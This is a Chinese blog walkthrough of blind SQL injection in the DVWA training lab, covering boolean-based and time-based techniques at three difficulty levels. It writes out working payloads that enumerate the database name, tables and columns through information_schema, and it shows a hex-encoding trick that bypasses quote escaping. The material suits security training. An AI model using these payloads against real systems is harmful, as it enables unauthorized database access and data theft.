DVWA实验-sql盲注

sql盲注:顾名思义,就是盲人注入,没有页面报错信息可以分析了,那么该怎么呢?盲注又有哪些测试的方法呢?

盲注的测试类型:

  1. boolean注入
  2. 时间注入

我们接下来就来介绍如何去测试sql注入盲注,我们还是用dvwa来举例子

Low级别

我们看到low级别同样是输入框,我们输入了正常的1,返回结果为:数据库中存在用户ID。

我们输入恶意字符,同样也返回结果为:数据库中缺少用户ID。

我们输入1'#返回正常

我们可以构造如下语句来判断注入的类型

1' and 1=1 #

返回结果存在

1' and 1=2#

返回结果不存在

由此我们可以判断出该输入框存在盲注,且注入类型为字符型注入

那么接下来我们可以构造sql语句来猜解数据库等

我们首先判断数据库长度,可以构造如下poc,使用length函数来判断字符串长度

1' and length(database())>5 #

返回结果

1' and length(database())>3#

由此我们可以看出当前链接数据库名的长度大于3小于5,长度为4

那么我们继续判断数据库名称的字符组成元素,此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然后各个击破。

mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。

用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。

区别:
mysql中的start是从1开始的,而hibernate中的start是从0开始的。

在构造语句比较之前,先查询以下字符的ASCII码的十进制数值作为参考:

字符ASCII码-10进制 字符ASCII码-10进制
a97==>z122
A65==>Z90
048==>957
_95 @64

以上常规可能用到的字符的ASCII码取值范围:[48,122]
当然也可以扩大范围,在ASCII码所有字符的取值范围中筛选:[0,127]

1' and ascii(substr(database(),1,1))>88 #exists

猜解表的个数
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #

猜解第一个表的表名长度

1' and   length( substr( (select count(table_name) from information_schema.tables where table_schema=database())1))>10#

猜解第一个表的表名的第一个字符

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #

我们可以依此类推,将剩下的字符一一爆破

Medium级别

判断是否存在注入,注入的类型
虽然前端界面上只能通过下拉列表选择数字,提交后查询显示的都是"exists",但是抓包工具修改数据重放之后是可以在工具中观察到响应数据有"MISSING"和"exists"两种返回结果的,如下:

由此我们可以判断出该级别存在注入,且注入类型为数字型注入,接下来我们猜解当前连接数据库长度,我们会用到sleep()这个函数以及if判断

对于 if(判断条件,sleep(n),1) 函数而言,若判断条件为真,则执行sleep(n)函数,达到在正常响应时间的基础上再延迟响应时间n秒的效果;若判断条件为假,则返回设置的1(真),此时不会执行sleep(n)函数

我们构造如下语句:

输入输出(Response Time)
1 and if(length(database())=4,sleep(2),1) #2031 ms
1 and if(length(database())=5,sleep(2),1) #26 ms
1 and if(length(database())>10,sleep(2),1) #30 ms

以上根据响应时间的差异,可知当前连接数据库名称的字符长度=4,此时确实执行了sleep(2)函数,使得响应时间比正常响应延迟2s(2000ms)

输入输出
1 and if(ascii(substr(database(),1,1))>88,sleep(2),1) #2049 ms
1 and if(ascii(substr(database(),1,1))>105,sleep(2),1) #19 ms

可以看到,当前连接数据库名称的第一个字符的ascii码为100,对应字母为d

后续过程与low级别类似,不过遇到了对特殊字符进行转义处理的时候,我们可以转换程16进制的形式绕过限制,从而提交到数据库进行查询.

如:猜解表中的字段名时,猜解字段名的长度(对字段值users进行16进制转换为0x7573657273

Low级别Medium级别
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 #
---------------------------------------------------------
1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8,sleep(2),1) #

 

High级别

high级别通过代码分析,我们发现并没有做任何过滤,只是将查询输入页面和结果显示页面分开了,照样可以抓包绕过,并且代码只做了限制显示的结果数,没有做过滤。绕过和暴力破解的方式和low级别类似,对于LIMIT 1的限制输出记录数目,可以利用#注释其限制;服务端可能会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试:

借鉴的优秀文章

DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
靶场SQL盲注是指在DVWA(Damn Vulnerable Web Application)这个靶场中进行的SQL注入攻击。靶场中有一个名为dvwa的数据库,我们可以通过一系列的注入语句来探测这个数据库中的表的数量和表名的长度。 首先,通过布尔盲注的方式,我们可以使用一些条件语句来判断表的数量。比如,我们可以使用以下语句来判断表的数量是否为1: ```sql 1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# ``` 如果返回结果为真,则说明表的数量为1。同样地,我们可以使用以下语句来判断表的数量是否大于2: ```sql 1' and (select count(table_name) from information_schema.tables where table_schema=database())>2# ``` 如果返回结果为假,则说明表的数量大于2。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [DVWA——SQL盲注(全等级)](https://blog.csdn.net/qq_45833260/article/details/125762606)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [DVWAsql注入——盲注](https://blog.csdn.net/Williamanddog/article/details/128404430)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值